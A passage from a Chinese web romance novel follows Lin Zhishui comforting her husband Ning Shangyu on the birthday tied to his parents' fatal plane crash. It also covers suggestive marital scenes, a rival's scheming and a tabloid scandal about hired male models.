她都有点儿感同身受的共情到宁濯羽这些做弟弟的不容易了,难怪在宁商羽的管辖之下,都开始疯疯批批自称起了小奴隶。 等清清爽爽的从浴室出来,下楼吃早餐时,林稚水已经恢复清醒,端坐在椅子上,却特意选了个较远的距离,跟这位暴君中间隔着摆在餐桌的清豆青釉刻花瓶。 不过气恼完了后,她没忘记正事。 林稚水把那张小羊羔设计的图纸沿着桌面,指尖轻轻推了过去,再次给他个选择机会:“这个和狮子座的胸针,你喜欢哪个?” 宁商羽扫了眼,淡声说:“都不喜欢。” 还能这样?林稚水表情仿佛会说话,顿了几秒,又逐渐咬牙切齿起来:“小羊羔这么可爱,这你都不喜欢,那喜欢什么?” 宁商羽那双映在玻璃窗外自然日光里的琥珀眼,极沉静,如同有重量地,往她心口压,虽一字未言,意味却很清楚。 林稚水被他看上一眼,膝盖往上的地方,又觉得隐约浮现出了淡淡的痒。 她那两片颤巍巍又可怜兮兮的花瓣,还红着。 气氛骤然静了半响,宁商羽还在极其嚣张地喝着咖啡,林稚水睫毛垂下纯纯粹粹的思考会后,决意换个话问:“你不是快生日了吗?我把这个小链子制作出来,给你当庆生礼物怎么样?” 话音落地。 宁商羽似乎这种庆生毫无兴趣,又看了眼她:“随你。” 林稚水的热情差点儿都被这两个字给熄灭了,转念又想到,可能是宁商羽童年期的时候就无人给他过这种充满仪式感的生日,自然就显得无所谓和不期待了。 片刻后,她把图纸重新拿回,小心妥帖的收好。 把这个设计完美的制作出来这个任务,林稚水没有给裴观若献殷勤的机会,她不想把这份礼物通过对方之手,所以就寻了万露,开高价,请求务必在宁商羽生日前赶出来。 而裴观若拥有七窍玲珑心一样,似乎察觉到她态度,就没再询问设计的事。 有时关心多了。 也会显得过于分不清身份等级的越界了。 不过裴观若又给她送了一幅落日油画,这次不是珊瑚和鱼尾了,而是上次她坐在客厅沙发上被金色余晖温柔笼罩着的侧影,画得极为圣洁又美丽。 林稚水对这画无感。 反倒是宁商羽饶有兴致对这个堪称是艺术品的画作鉴赏了起来,又开尊口叫管家把这画搁在书房。 裴观若画的,他摆在办公的地方??? 就这么欣赏! 林稚水白瓷似的脸蛋看起来不惊不怒的,实则已经对宁商羽恶狠狠的爱憎交织了一番,连夜里都不要他提供哄睡服务了。 甚至是提前调好闹钟,半夜强行把自己唤醒,然后趴在他耳边,语气幽幽的讲述一遍宁舒羽那个非常血腥的恐怖小故事。 “你知道黑狗在哪里吗?” 不等她学着故弄玄虚,宁商羽在漆黑夜里淡淡地说:“你再不乖点睡觉,不如含点别的。” “……”林稚水身体无端的颤了下,想到被拍打的惨痛经历,心脏有点痒痒的,细伶伶的膝盖也不由地摩擦了下,又重新侧卧着恢复了安静状态。 闭眼前。 她想,虽然“小老公”被无情给药死了。 但是谁让宁商羽还有手,简直恐怖如斯! 时间过得很快,在宁商羽狮子座的生日前一天,林稚水已经神秘兮兮的精心策划好了在家跟他过属于二人世界的庆生仪式。 鲜花礼物蛋糕烛光晚餐都有,也都是她满怀欣喜亲手备下的。 怎料隔日一大早,林稚水还在迷迷糊糊的时候,宁商羽面不改色地把她亲醒,又用下达通知的口吻说:“今天我有个晚宴应酬,没那么早回来。” 林稚水软绵绵的身体犹如就地在发出尖锐警报,猛地睁大眼,“没那么早是几点?” 宁商羽松开她,长指缓慢地扣好袖扣,神色是事不关己的淡漠:“凌晨之后。” “不行。”林稚水迅速地跪坐了起来,细脖子还是要仰着看他:“凌晨之后回家还过什么生日,都晚了!” “……” “你是不是觉得庆生是一件非常无关紧要的事?涉及到一点儿利益的工作,哪怕只是应酬类的,都能取代它?” 林稚水小嘴巴哪怕被吻过,舌尖还有点麻,却很能言善辩:“这是能取代的吗?” “善善,我凌晨之后回来陪你过。”宁商羽扫了眼腕表的分秒时间,今日有极为重视的项目合作论坛必须亲自现身一趟,秘书等人还在楼下等。 此刻,他面对林稚水一无所知的脸蛋,便淡声问:“可以吗?” 林稚水抿着唇,不吭声了。 直到这一刻,她才真正地意识到宁商羽就是不在意过生日,也不在意收到的礼物是狮子座的胸针,还是小羊羔元素设计的乳链。 他天之骄子,收礼物或者是想要什么,哪里需要等到生日这种节日才能拥有? 八月十八号,怎么配宁商羽专门腾出珍贵的时间庆生呢。 他能选在这个日子出生,已经是八月十八号的荣幸了。 宁商羽前脚出门参加商业论坛,林稚水后脚就把宁濯羽给约出来,准备去酒醉金迷的泄恨一下。 反正老公家也不回,她才不要跟个豪门怨妇一样苦守在家里。 宁濯羽很好约,两人一拍即合的挑了个景观极佳的高档会所玩,而这里顶楼私密性极好的区域,只招待身份尊贵的顶级客人,聊天时也不会被人窥视和打扰。 等西装马甲配蝴蝶结领带的年轻招待生放下酒水果盘,又出去后。 林稚水动作慢吞吞的,伸手去拿玻璃杯子。 宁濯羽半扎着卷翘凌乱的头发,突然靠上柔软的沙发背,说:“上回不是暗示过你了么,我哥不过生日。” 林稚水看向他:“我在家中,母亲每年都会以我名义捐款做慈善,作为生日礼物。今年我的生日礼物不再是一份慈善证书,而是宁商羽。” 宁濯羽轻挑眉峰,仿佛无声地说,还能这样玩? “所以我想礼尚往来一下。”林稚水也想把自己,作为生日礼物送给他。 岂料宁商羽不领情。 宁濯羽从茶几上拿了根雪茄,没点燃,倒是把玩了会儿,而在林稚水闷喝了几口酒精度很低的漂亮鸡尾酒后,稍稍有些放松时,他忽而提起:“看在革命友谊上,我再暗示你一次,这生日今晚不过,你也别补过了。” “为什么?” 林稚水出声问,宁濯羽反而点到为止,岔开这个话题:“我要不召几个又唱又跳的八块腹肌男模过来,让你换个心情?” … 宁商羽结束完商业论坛会议,又正常出席了晚宴场合,他无论是走到哪儿都等于置身在权利旋涡的中心地段,话极少,傲慢的气场却显得很是高调。 犹如是冰冷而无比夺目耀眼的金光所至,众生俯首。 而今晚,宁商羽提早了半小时离席,也直接婉拒了谢忱岸换场地相聚一下的提议。等回到车上,他闭目养神,反倒是副驾的奚宴心惊胆战地揣测起了君心,拿出怀表盯着手机,恭敬道:“宁总,管家那边说太太白天出门后……就一直没回家。” 这个消息意味着,宁商羽能在凌晨之前归家。 可是林稚水不在家。 在高级奢贵的车厢内逐渐凝成了寂静气氛,奚宴甚至以为下一秒他可能会询问林稚水在何处…… 结果直到司机把车稳稳地停驶在目的地后,宁商羽直接下车,俊美的面容上神色没有变化。 奚宴珍惜生命的止步在外。 这个私人住处有管家承受这股无形的压力,而他是个好秘书,需要懂得适当把职务工作分担出去。 一晃神的功夫。 宁商羽身影已经彻底被那片高耸参天的落羽杉隐藏到了深处,夜幕深浓的环境变得极静,显然他并未急于进门,反倒是不紧不慢地来到天然水源的湖泊旁的观景长椅坐下。 四下除了树影,灯光和波光粼粼的湖面,其余都定格在了黑色世界里。 深秋夜晚的地表温度本身就很低,风一吹,宁商羽这具强悍体魄的滚烫温度,像是顷刻间就被减弱成了年幼时的身体温度。 “商羽,很抱歉……我和你母亲无法准时赶回来为你庆生。”宁琛启嗓音低沉从电话里清晰传来,“蛋糕和礼物收到了吗?” “嗯。” “喜欢吗?” “不喜欢,下次别再给我准备糖果和儿童绘本了。”宁商羽的眉眼间还未褪去稚气,却隐隐约约添了几分这个家族特有的傲慢,“凌晨之后,我已经是七岁了。” 电话那边,忽而传来一道柔和又懒洋洋的声音:“是呀,我们的小商羽从六岁的小人儿变成了七岁的大人儿了。” 被这样取笑,宁琛启要阻止已经为时已晚,下秒,宁商羽很冷淡的直接挂了电话。 他已经习惯每一年诞生这日,至亲的父母都不陪在身边。 走出主卧的房门,恰好老管家将他晚餐时拒绝过的奶油蛋糕重新送来,手推车用深红色的天鹅绒布铺着,还有鲜花,以及系着蝴蝶结的儿童绘本。 “商少爷,你怎么出来了?”老管家和蔼可亲地问:“是想找其他小少爷一起吃蛋糕吗?” 宁商羽:“没有。” 老管家在这个家效忠了几十年,是最清楚不过为何每年的这天宁琛启都要带白音珂出国重游一趟旧地,原因非常浪漫。 因为怀上了爱情的结晶那晚,白音珂人生中也同时获得音乐演奏事业里最高成就的一次奖项。 白音珂坚信这个孩子是上天恩赐给她的礼物,在生下后,连宁商羽的名字,都是取自于高妙的音乐典故里“引商刻羽,杂以流徵”其中一个商字。 按道理,宁是随父姓,家族这一代是羽字辈的,应该位居中间,商排第三。 宁琛启却是个极端的爱妻主义至上者,直接用了身为掌权人的绝对权威,把族谱上的羽字排列到了未端,只为博妻心悦,也导致这一辈的小少爷们都遵从着宁商羽的取名方式来。 八月十八号。 对宁商羽而言跟一个普普通通的日子没什么区别,不是他生日,更像是父母见证伟大爱情的甜蜜纪念日。 而他,从不表现出失望,也无法跟父母的情感关系更近一步。 对于老管家紧接着语气和蔼的提议,可以跟弟弟们一起分享蛋糕后。 宁商羽拒绝了。 他表现出不符合年龄的清冷和疏离,甚至都没让蛋糕进门,重新把卧室的门给关上。 直到天黑换成了天微微亮,脚步声急促响切在走廊,门再度敲响了。 还是老管家。 他嗓音变得苍老沙哑起来,说家主和夫人在连夜回返泗城的途中发生意外,私人飞机坠毁在冰川上,已经双双空难离世。 过许久。 老管家都听不到室内的任何细微动静传来,才动作极其缓慢又小心翼翼的推开了那扇紧闭的门。 室内光线幽暗环境下。 宁商羽站在了离床边很近的地板上,像株挺拔生长的嫩绿落羽杉。 宁琛启曾经教导过他——这世间欲望分形形色色很多种,就像一颗种子,会在心底最阴暗之处破土而出,爸爸不希望你将来满身满骨都是深重的权力欲,商羽,你要学会克制它。 他的人生中,学到的第一堂课是克制代表对父母情感的欲望。 如今,从宁琛启身上学到的最后一堂课,便是告别。 …… 夜间时分,林稚水赶在了十一点半回到了那片落羽杉的私人住处。 她在宁濯羽召了一群八块腹肌的性感男模来陪玩,等喝到最放松警惕的时候,冷不了的开始端着温柔的架势威逼利诱起了小濯司机。 如果他还要把话暗示得故作玄虚话,那她今晚回家,就知无不言的把找男模的事跟宁商羽坦白一下。 宁濯羽的小心脏哪里经得住这样吓唬。 当场就跟她口吻神秘的透露了一句:“我哥那对空难去世的父母,当年是为了连夜赶回来给他补过生日……才发生了机毁人亡的家族重大惨案。” 林稚水意外得知是这个真相后,一秒钟都坐不住了。 她不想换心情了,非常大方的把那群年轻力壮的男模们让给了宁濯羽独赏,当机立断就选择了打道回府。 等回来后,整栋华美的建筑物里外漆黑一片,管家隐身在暗处指了指落羽杉的湖泊方向。 林稚水呼吸微微急促顿了几秒,突然间好似又不急了起来,她裙摆下的脚步柔到几乎没有发出一丁点儿响声。 随着逐步靠近这片私人领域,视野之内也看到了独坐在椅子上的宁商羽。 夜幕下他挺拔锋利的身影显得那么高不可攀,哪怕连被夜风惊动,从而摇曳的斑驳树影都没有资格洒到他的脚下。 林稚水突然意识到,她或许比夜风和树影好一点,还有资格能走近。 却始终没真正走进宁商羽的心。 所以他不庆生,也不会告诉她这个枕边人真相。 而在婚前婚后,宁商羽毋庸置疑都是纵容她的,这种行为却是没有爱情可言,或许只是面对娇气又弱小的小动物时……被激发出了站在食物链顶端的强者那点保护欲。 但是没关系。 林稚水那双比湖泊还要清透的眼睛直视于宁商羽孤拔的身影,心想到,当初婚约空降时,两人本就是先从家族利益出发,继而私下各取所需。 她涉足外面的世界,极度渴望着宁商羽那股蓬勃的生命力,也从他这儿得到了很多。 而同样的,宁商羽因为自身基因带来的性瘾又有重度洁癖作祟,只跟她做,也只认准她这副干净无瑕的身子。 哪怕现在有那个新药剂,效果好到可以完美抑制长达一个月。 让宁商羽重新调整成婚前的极端禁欲状态。 林稚水也心甘情愿涉足深陷,像个好奇人类世界欲望的小动物一样,继续无知无畏的探索着…… 思及此,她眨眼间,突然发现宁商羽在寂静夜色下已经听到细微的脚步声,分辨出了何人,侧过首,显得幽邃深浓的琥珀眼直直撞了过来。 林稚水感到魂魄都快从这具底色是洁白的躯体吸引出来,然后依附到了他身上去,随着走停在了一种极亲近距离的地方。 宁商羽神色里全是漫不经心的漠然,好似无悲无喜。 林稚水那张平静又怜悯的脸反而先露出笑容,犹如是双手奉上最纯粹的爱意,轻声说:“宁商羽,我今年的生日礼物收到了,愿望一直还没许……” 宁商羽略颔首:“你想许什么愿?” “我希望你从今往后在这一天里都是幸福的。”林稚水微微低头,眼底浮现出的真诚情愫仿佛糅不进半点杂质,沿着她吐露的心声,又顺着红痣就顺势弥漫了出来: “我愿意用我这一生每一年的全部生日愿望,许下。” 她不贪心,想让宁商羽在诞生日这天感到幸福,只有这个愿望。 宁商羽拜她今晚这番充满真情实感的肺腑之言所赐,罕见的感觉自己像是被初秋清晨的锦缎温柔包裹,成了什么稀有易碎之物。 久久后,他露出了今天第一个笑容,也柔软了极盛的锋利眉眼。 林稚水主动坐下,出奇的安静陪着他在这片落羽杉坐了一会。 又慢慢地,伸出双手忽然间靠近去抱他,把下巴抵到他肩膀,然后,轻抬睫毛的视线望着笼罩着两人密不可分身影的那一片犹如萤火虫的星光,觉得此时此刻,止不住的爱意比浩瀚如海洋的夜空更漫长。 50-60 第51章 凌晨了。 修长脖颈,耳廓和面前,都能清晰地感觉到被林稚水似有若无的清香气息笼罩,宁商羽最终拉她入怀,摩挲掌下纤细的两边腰窝:“你这生日愿望倒是短暂,才半个小时不到。” 林稚水也觉得这点儿时间的陪伴不至于填补两人这些年十八次生日的时间空白,于是在他语调依然很沉静的话里顺势往下说:“那我就好心补偿补偿你。” 话音落下的瞬间,她把那条小羊羔链子拿了出来,没再提及生日礼物这种冷场的话,而是把补偿二字含在唇齿间。 继而,趁着把宁商羽引得低首时,她也仰头靠近点儿,用指尖摸索到了他喉结,一抵,再滑到衣领处。 林稚水一直觉得宁商羽穿西装。 是用西装高级精贵的料子把他充满危险性的野心勃勃都严密包裹了起来,随着一颗又一颗的纽扣系紧,全部都封锁住。 待解开时。 宁商羽那股锋芒过盛的浓烈气息就迎面而来,毫不掩饰着把她纯净如水的气息覆盖,强势地圈在了私人领地里。 两人就像是互换气味的小兽,在被落羽杉环绕的深夜里,靠着气息和触碰,以及那条扣在他胸膛前的锁链,从而羁绊住了彼此灵魂。 林稚水极轻眨了一下眼,指尖捻了捻那雕刻在精巧珊瑚上的小羊角,说:“套上了,以后无论你想做什么都可以,有我系着你。” 宁商羽高高在上的站在权力链顶端不下来,林稚水便对他施加另一种无形的枷锁,要是离远了,她总能有本事收紧锁链,把他拽回自己的身边。 宁商羽被她拽着,羊角白色钻石质地的光芒在黑暗里倒映在两人的眼中,仿佛交叠在了一起,他又像是顺着那看不见的链子,逐渐愈发靠近,暴露出来的性感喉结一直在滚动,“善善,想做什么都可以么?” “对!” “都可以?”他盯着她,问话变得慢条斯理。 “嗯,我会对你百依百顺。”林稚水略仰着尖尖下巴,将彼此的距离又拉近,又慢慢的,将把他视为栖息地的修长手掌牵起,放在心口,用鼻尖软软的蹭着他高挺鼻梁:“今晚,允许你为所欲为。” 浓稠的夜色下流动的水,有什么清澈透明的液体正沿着地面蔓延流淌到了湖泊,继而滋养了那片鎏金色的落羽杉。 近三点钟后。 林稚水回到了主卧的黑丝绒大床上,滴滴答答的,从外面被抱回来,随便套了件宁商羽的衬衫就侧躺在了蓬松清爽被子里,料子半透露出的肩胛骨轮廓还在微微地发颤,膝下一片闷热。 宁商羽惯有的强势姿态笼罩着她,筋骨匀长的手掌放在腰侧,很有安全感,力道却很大。 而这只手,进去过,林稚水心脏缩成一团,脸颊贴着枕头,声音很轻又细碎:“不准了!” “这样不会怀孕。”宁商羽胸膛上除了闪烁的细链在分明的肌肉线条摇晃外,还添了几道鲜红的指甲痕迹,仿若林稚水额外赠予的礼物,嗓音透着许些沉哑道:“只是礼貌接触一下。” 不能再礼貌了。林稚水下意识抬起手,像是最后一刻的挣扎,柔润指节勾扯到了近在咫尺的精致小链子,没什么力气似的象征性拽了下,就晃晃悠悠地睡着了。 宁商羽哪怕试了新药剂,体力依旧是很旺盛,到了后半夜,主卧灯光未熄,他洗了一场冷水澡,又重新回到了床畔。 林稚水在熟睡状态里不知不觉的已经把自己深藏在了被子里,陡地,被扯下,逐渐露出脸颊和脖颈,太脆弱缘故,被打湿的几个小时后,肌肤薄到浮现的玫瑰色一直褪不去,比眼尾那两颗痣还要靡艳。 宁商羽低垂的琥珀眼底带着很强烈的占有想法,却又恢复了神色淡漠状态,去观赏着近在咫尺躺在床上…… 这一抹具有圣洁美好特性的纯白被污染上了浓重的欲色。 天光微亮。 裴观若从深城老宅的侧门进去,还未等到小阁楼去寻母亲,就被通宵未眠的裴以稀居高临下的站在阳台上给叫住。 “宁商羽生日,你不好好扮演个温柔小意的解语花把他从林稚水身边抢走,又跑回来做什么?” 裴观若没理会她,继续往前走。 直到一杯茶,从天而降地摔在高跟鞋尖的鹅卵石上,四溅的滚热茶水有几滴,直接浸进脚踝,皮肤也被灼得烫红起来。 裴观若止步,没有表情地看向阳台的方向。 裴以稀不知哪来的病犯,最近迷恋上了穿各色旗袍,一身墨蓝色金线刺绣,衬得她清秀的脸更寡淡无味了,压根镇不住这种华美古典味。 她正漫不经心的抚摸着精致的盘扣,继而,又摸到了挂在脖子上的指环,说:“裴观若,你是哑巴了么,不懂回话?” 裴观若似平常挺直纤细的脊背,在这个家,脊背一旦弯曲下去,就会被立刻打断,再也别想复原,她回道:“凌晨已过,我和他春宵一度完了,为什么不能回来?” “真度完了春宵?”裴以稀盯着她全身上下瞧了好几眼,突然低低地冷笑:“你真失败,怎么不学学你那风尘女的妈,以前她当解语花不知耻勾父亲流连床上时的手段可比你现在强多了。” “如果这是父亲的意思,对我价值体现出的作用仅限于在床上,我是可以多留人片刻。”裴观若说得平静:“但你好像还搞不清楚啊,我的价值在床下。” 裴家的私生子女中,或许她不是能力最优秀的,却毋庸置疑是公认最美的。 是那种艳若桃李又兼具清冷性格的美,不会有任何侵略感,又会让男人像把她当成一朵菟丝花或是心意的胸针物件儿,点缀在西装的领口处。 但裴观若从不认为自己的价值,只能变现成一个随手可弃的廉价装饰物作用。 这也是裴以稀从小到大最厌恶她的一点,私生女装清高,就该狠狠被惩罚:“你最好让父亲早点看到价值。” 话落后。 裴以稀直接转身回房,可禁不住外面晨露的阵阵凉意。 裴观若站在原地半响,才蹲了下来,并不是去揉被茶水烫到的脚踝,而是慢慢的捡起鹅卵石上的几块小碎片,等步入那扇暗红色的门时,抬手扔到了垃圾桶。 她上楼,一进去就被裹着睡袍的陈宝翠拉住,忧心忡忡地说:“妈妈刚才躲窗户下都看到了你又跟她起口舌争执,若若,忍一忍吧。” “没必要忍了。”裴观若反握住母亲的手:“我接下去宁家这个任务,事成,父亲答应放你自由,事败,裴以稀只会变本加厉让我们的生存处境更糟。” 陈宝翠给裴胤当了大半生娇艳无辜的金丝雀,从未敢幻想过,还能逃离裴家这座固若金汤的牢笼,她怕裴观若被欺骗,颇为软弱无力地哽咽起来:“是妈妈年轻时贪慕虚荣,才会天真以为你父亲是救世主,被他花言巧语给哄骗进了这里……” 这个小阁楼住着不止一位像陈宝翠这样身世可怜无依无靠的美丽女人,她们被裴胤精心栽植在了这里,又无情冷酷地看着她们吐蕊或凋谢。 如果老宅来贵客了,便会凭着对方私下的审美癖好,从中粗暴折下一枝,放进玻璃花瓶中送入客人的房间。 陈宝翠年轻时替裴胤斡旋家族生意,游走于一群中年男性商人之间谈笑风生,后来二十来年的光阴过去,她这朵菟丝花老了,岁月终将败掉了这个被世界黑暗摧残得粉身碎骨的美人。 而小的菟丝花又在这片土壤里摇曳生姿成长了起来。 陈宝翠护不住自己,也没有能力护住女儿:“若若,你不要再成为裴胤手中一枚棋子了,你逃吧,逃到国外去!” “逃不掉的。”裴观若早就看清裴胤禁锢私生子女的狠辣手段,哪怕逃到天涯海角,都会被裴家派人抓回来以儆效尤,所以她要光明正大的走出去,拿昂贵的代价来换取…… 裴观若平静说道:“宁家的任务也是我自愿主动到父亲面前争取来的,妈妈,我们只有这一次机会,半年之内,最短三个月,我会带你过上新的人生。” 陈宝翠泪水无声地划过憔悴脸上酒窝的小红痣,她如今没了貌美的胭脂皮相,灰白一片,也就这颗痣,是红艳的:“那妈妈能为你做什么?” “好好待在家里,我可能会很忙,不能定期回来陪你。”裴观若提醒性格软弱的母亲,“如果父亲来试探你口风,只要没有严刑逼供,就咬死什么都不知道。” “若若,什么意思?” 天光穿透不过严丝合缝贴到玻璃窗口的厚重帘子,裴观若表情隐在沉寂暗影里,声音微哑:“我上的不是宁商羽的床。” 林稚水一醒来,刚从宁商羽的床下来。 她卷翘的睫毛微微合着,还在和迷糊的睡意做着微弱抗争,直到去浴室洗漱一番,水龙头流淌下的冷水总算是把脸给拍清醒了。 之后,林稚水按部就班下楼吃早饭。 宁商羽已经事业心极重的出门了,不知道几点走的,她睡得更体力耗尽昏厥过去一样,也没有半点儿印象了。 想到这,林稚水握着精致勺子的手指一僵,不免就联想到宁商羽充满滚烫热度的手掌,继而,感觉裙摆下羊脂玉般白皙的腿侧就更被什么毛茸茸尾巴滑过似的,有一点痒意。 不能再流水了! 林稚水暗暗告诫自己,尽量保持心平气和,不去想昨晚在湖泊旁发生的一切。 恰好这时桌旁,手机突然响起,她看是宁濯羽,便淡定划开了免提。 宁濯羽掐着点来问:“昨晚你回家后,跟我哥二人世界过得怎么样?” 林稚水语气轻飘飘说:“我为什么要告诉你?” “威逼利诱完了就当小垃圾扔是吧?”宁濯羽的高洁品德顷刻间变成成讨伐型人格,懒洋洋的语调开始快速细数她的行为:“陪你酒醉金迷又召一堆顶级男模,还冒着生命危险透露了这么大一个秘密给你,你竟然克扣我的知情权?” 这一刻,宁濯羽感觉自己不是宁商羽的奴隶了。 分明是林稚水面前毫无人权的低种姓小奴隶。 电话这边,林稚水白皙指尖撑额头,差点儿没憋住笑意。 紧接着她清清嗓子,说:“他不要鲜花蛋糕礼物,那我又不是爱强人所难之人,我很尊重他人意愿的,所以就陪他看看星星……” 林稚水虽有保留,抹去了两人看星星后做的事,却没有哄骗宁濯羽。 宁商羽不过生日,更不补过生日。 就像是盛明璎女士不喜欢她在家中培育珊瑚一个道理。 明知是从幼年时就烙在心脏上的陈年旧疤还去血淋淋掀开上药,美曰其名是为了治愈,林稚水主观上就不认同这种残忍血腥的救人方式。 宁琛启和白音珂双双空难而亡是刻在宁氏族谱上的事实。 林稚水并不想用自己的存在抹去这两位的存在,只为了去证明已经足够有分量去占据宁商羽心里至关重要的位置,去证明他这个权力至上的野心家,开始心甘情愿臣服她的爱意之下。 人生没有那么多的取而代之。 林稚水声音很轻地开口:“我们当下夫妻感情如胶似漆非常好,如果哪天吵架了,放心吧小濯司机,毕竟你是我聘礼,第一个知情权还是有的。” 宁濯羽已经领教过她好几次能言善辩的战斗力,于是嗤笑一声,索性换个话题:“那我哥应该跟你说过吧,老爷子定下过老规矩,每三月一次让家族核心成员回老宅兄友弟恭一下,你来么?” “不来。”林稚水淡淡地回答。 老宅那边先前为了药剂研发纵容秦家,又终于研发出了能抑制宁商羽长达一个月生理需求的新药剂。 这几番行为都令人深思。 林稚水没事的时候琢磨琢磨就通透了,宁徽诏权势显赫执掌宁氏家族强盛不衰了大半生,最在意的肯定不止是子嗣传承,他得在百年之前,为这个家族严格挑选出最完美的掌权人。 所以,一直以来宁徽诏身为德高望重的长者,待子孙宽容又和蔼可亲,非常大方的给每一位身上流淌着宁氏血脉的嫡亲旁系子孙一次夺权机会。 而羽字辈的,宁商羽胜出后,他拿到了赋予权力的嘉奖,不代表是永久性的。只要宁徽诏没有寿终就寝一日,都会为了家族利益,紧紧盯着这位年轻傲慢的接班人。 站在宁徽诏的立场上,各有心中执念,没有对错之分。 他早年有痛失爱子的教训,更不会希望看到自己优秀的接班人被女人的温柔裙摆掌控。而秦家败了,林家胜出又是铁板钉钉的事。 宁徽诏只能从药剂下手。 借着暂短的屏蔽宁商羽对她的欲望,从而淡化,本身就因为欲望羁绊在一起的亲密关系。 林稚水不会去老宅自讨没趣,毕竟和那边现在有“谋杀亲夫之仇。” 她可不是以德报怨之人,很记仇,没忘记亲亲小老公被药死的事情! …… 林稚水拒绝了宁濯羽的邀约老宅聚会,却没想到,她的名字还是在老宅那边刷屏了,原因很简单: 点男模之事。 竟被一家娱乐属性的新闻媒体给报道了出来,虽不至于像个女明星般上热搜什么的,但是要上报纸还是很简单。 标题还给她加粗加长加红了字迹:【宁氏掌权人与港区林家千金疑是婚变,引得新婚小妻子出入风月场所,怒点十个强壮鲜肉男模深夜寻欢作乐。】 不是??? 林稚水看到这晚报时,内心充满震惊怎么会被记者蹲点到,还有明明是她和宁濯羽一起点的,一起酒醉金迷的,凭什么就写她名字?!! 她紧接着去拨打了宁濯羽的电话。 也不知在老宅不敢接,还是已经被宁商羽给弄死了。 总之无人接听。 林稚水手指颤颤巍巍扶着沙发站起来,心又想不对,宁濯羽绝对能紧急避险过去,毕竟连名字都没出现在报纸上,会被宁商羽弄死的人,是她吧! 漫长的几秒后,林稚水板着漂亮的脸蛋,决意要心狠手辣一点,去压迫这家媒体发布个澄清声明。 而裴观若的电话很适宜地拨打了进来,似乎跟她想一块去了,接通时,直接步入主题道:“稚水,我看到了一家媒体公开登报在毁你清誉,可否能让我代劳,去跟这家媒体的老板谈一下?” 客观来说,林稚水现在已经是宁氏家族的当家主母,身份摆在这儿,确实是需要有个八面玲珑的人来替她出面处理一些“事务” 她以前看中了宁濯羽,但是这位不好驾驭,跟她结盟纯粹是凭心情行事。 只要涉及到宁商羽,大老远的敏锐嗅到危机感,就溜得比谁都快。 奚宴也不是她的专属秘书。 裴观若的出现是完美符合了她心意,何况之前以静制动了这么久……林稚水安静片刻,静到无声地拖长了两人的拉锯战。 而裴观若自荐完,也心态极稳的沉住气。 三分钟后,林稚水才淡淡说:“你想替我解围好啊,不过有一点我事先要如实坦露,那晚不止十个男模……” 裴观若:“没关系,一个和一群都可以完美解决。” 林稚水:“被我用过,也可以吗?” 裴观若:“用过?” 林稚水:“身强力壮又年轻貌美的八块腹肌男模,很难拒绝呢,我林稚水又不是喝露水长大的,宁商羽出差不在家,自然得寻点新鲜肉体的乐趣。” 裴观若在电话那边非常罕见的沉默了许久。 林稚水慢悠悠坐回了沙发,抱起一只靠枕在怀里,指尖打着圈玩:“怎么办呢?” 裴观若没想到晚报上的绯闻竟没有捏造事实,过半响,语气不似失望,有的是为她效力的温柔决心:“稚水,你还记得用过了哪一位男模吗?” “好几位,不记得了。”林稚水听上去丝毫没有图一时之快酿成后患无穷危险的悔意,语气愈发平静说:“给你一晚上的时间处理干净,我不想看到这家媒体还在盯我行踪了,毕竟宁商羽喂不饱我,我今晚要换一批更高大强壮的,继续玩。” “好,我知道了。”裴观若无暇再思考什么,为了让林稚水的丰富多彩夜生活能不被打断,便迅速挂了电话去处理这个绯闻事端。 林稚水垂着睫毛看了下屏幕,又挑了挑眉尖。 鱼饵已经抛出去……她还在琢磨,裴观若是选择按兵不动为她尽心出谋划策,还是会借此狠狠踩上一脚,不演了。 下一秒,抬手时,却意外通过熄灭的屏幕黑色倒影,发现沙发背后的宁商羽竟不知何时已经从老宅回来了。 气场沉静站在不远处,目睹着她这张漂亮的小嘴巴在胡编乱造的全过程。 “……” 林稚水的小嘴巴意图扬起纯洁微笑,来化解当下的尴尬处境:“商羽,你什么时候回家的啊。” 宁商羽缓步走过来,眼神扫了下她扔在华美地毯上的晚报,正俯身漫不经心去捡,林稚水先一步用白嫩的脚给踩住了。 “假的假的,都是假的!”她干净音色颤颤的强调。 宁商羽视线看到她漂亮雪白的脚趾尖抵着这张晚报上的男模二字,那股微妙的占有欲顷刻间弥漫上眼底,指腹稍微一扯,她的脚趾尖猝不及防地变成抵在了宁氏掌权人上。 林稚水一无所知,却紧张到胸口的小心脏都扑通扑通狂跳起来。 只知道罪加一等,要完了! 宁商羽好整以暇地看她心虚到发红的脸蛋,一字一字重复: “身强力壮又年轻貌美的八块腹肌男模?” “今晚还要高大强壮的,继续玩?” “我没有喂饱你?” …… 林稚水被质问得无法回答,只能选择迅速连滚带爬的缩在沙发最里面,无辜的眼睛可怜巴巴盯着光是高大身形就压迫感十足的宁商羽,瞳孔是透亮到了无比真诚地步。 最后,他低沉的语调极其缓慢地问出:“没有喂饱你么?” “喂饱了!”林稚水用力点脑袋,如绸缎的柔滑长发垂在腰肢都散乱了起来,只是为了努力让自己可信度更高点儿。 宁商羽神色似笑非笑地又问道:“那你还要招男模玩么?” 这个啊。 林稚水贴着柔软宽大沙发的腰板瞬间坐直了,仰头望向他,睫毛跟漂亮绒绒小扇子似的,扑闪两下说:“还是要的。” 第52章 “还是要的,我会给丰富报酬……能点个宁氏男模玩玩吗?” 林稚水满脸的纯洁无辜,心里想的却是,宁商羽既然已经提早从老宅回家,放着这么大一个堂堂的掌权人不用,太暴殄天物了! 同时,她已经迫不及待伸出手去触及宁商羽的黑绸西装外套,沿着勾勒出流畅锋利线条,像是把他当成了一个巨大的宝藏,所到之处的腹肌,哪怕隔着质地薄薄衬衫,也能让她揣摩品味很久。 夕阳在落地窗那边洒落,把她透白的指尖也镀了层金色,蓦地用力,略带着点软软的压迫感:“给玩吗?” “怕你玩不明白。”宁商羽身形高大的站在这里,话落地,手臂已经有力地搂住腰肢,把她高高的抱了起来,顷刻间林稚水睫毛下的视角就变得居高临下起来,她脸蛋表情讶异极了,从未被抱到这个高度过……也感到很新奇。 裙里的膝盖等于是抵在了他胸膛上,清晰地感知到了心脏稳沉的跳动声。 而宁商羽恰好背对着窗外夕阳,林稚水意犹未尽地就着充满怜悯的金色光影一起观赏了他许久,哪怕开始往楼上走,也不害怕摔下来,而是轻声说:“我怎么玩不明白?你就大发慈悲配合我一次吧……我想用裴观若。” 她点出这个名字时,不经意间地端详了下宁商羽的面容。 宁商羽神色从容,“你想用人,依附宁家的大小家族有不少合适人选,裴家不是上上之选。” 